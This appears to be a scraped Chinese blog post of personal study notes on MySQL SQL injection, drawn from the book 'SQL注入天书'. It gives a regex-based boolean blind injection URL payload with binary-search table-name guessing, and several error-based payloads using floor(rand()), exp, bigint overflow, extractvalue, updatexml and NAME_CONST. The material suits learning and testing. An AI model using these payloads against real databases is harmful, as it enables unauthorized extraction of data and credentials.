11

《sql注入天书》基础知识梳理

 3 years ago
source link: http://blog-e.tk/2019/09/04/sql%E6%B3%A8%E5%85%A5%E5%A4%A9%E4%B9%A6-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%A2%B3%E7%90%86/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

P.S.本文整理自《sql注入天书》,部分内容摘抄自这本书,加以小修改,和一些注解,记录下自己在学习过程中遇到的坑。


关于系统数据库information_schema

所有数据库:select schema_name from information_schema.schemata; xxx数据库里的所有数据表:select table_name from information_schema.tables where table_schema="xxx"; xxx表里面所有列:select column_name from information_schema.columns where table_name="xxx";

  1. #bla...
  2. bla--+blabla... 这里--的作用与#基本相同,不同的是--后面必须有一个空格,众所周知,在url编码里,空格常被+代替为了避免空格被地址栏忽略,可能就是我们把空格打成+(我猜的)。
  3. /*bla...*/

整型列的查询不需要闭合单引号

sql查询时如果要判断某个整数列比如id为某个数时,引号不需要闭合,select *** from *** where id=1select *** from *** where id="1"select *** from *** where id="1'"所得到的结果是一样的!

几个常用函数:

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本
  1. concat(str1,str2,...)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
  3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

以下所有字符参数可以为sql查询语句

  1. left(a,b)从左侧截取 a 的前 b 位
  2. mid(a,b,c) 或者 substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
  3. ascii() 或者 ord() 将字符转换为ascii码。

检查是否匹配正则表达式

字符串 regexp '正则表达式'

sql注入

基于正则的布尔盲注

如何返回正则匹配结果

判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)--+

如果存在table_name符合要求那么limit 0,1就会将结果变成符合要求的第一个表,经过select 1这一列,会返回1进而与左边相等。 而如果没有符合要求的表名,那么右边就会是empty set了,与左边不想等。 同时,由于每个数据库会有多个表,如apps与access就都以a开头,那么我怎么知道以a开头的有几个呢?只需调整为limit 1,1看看能否成功选取匹配的第二张表名即可。

猜表名的过程——二分

以下是猜表名第一位的过程中,前文sql语句中正则表达式的变化及查询的返回结果。

^[a-z]->true	#说明是字母
^[a-m]->false	#说明在n-z里
^[n-t]->false	#说明在u-z里
^[u-w]->true	#说明在u-w里
^[u-v]->false	#说明是w

接下来按类似方法尝试
^w[a-z]
...以此类推

基于报错的 SQL 盲注

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

注释: 这里的concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a意思其实是跟concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a一样的! 这种注入方法原理:https://blog.csdn.net/qq_35544379/article/details/77453019

//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。 以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from select !1) group by (select 1 union select null union concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

select exp(~(select * FROM(SELECT USER())a))

//double 数值类型超出范围 //Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上 可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) -(ps:这是减号) ~0

//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上 20Mysql 注入—sqlilabs—lcamry 可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html

select extractvalue(1,concat(0x7e,(select @@version),0x7e));

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

select updatexml(1,concat(0x7e,(select @@version),0x7e),1);

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

作者:@ethan-enhe
本文为作者原创,转载请注明出处:本文链接

阅读量


Powered By Valine
v1.4.4

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK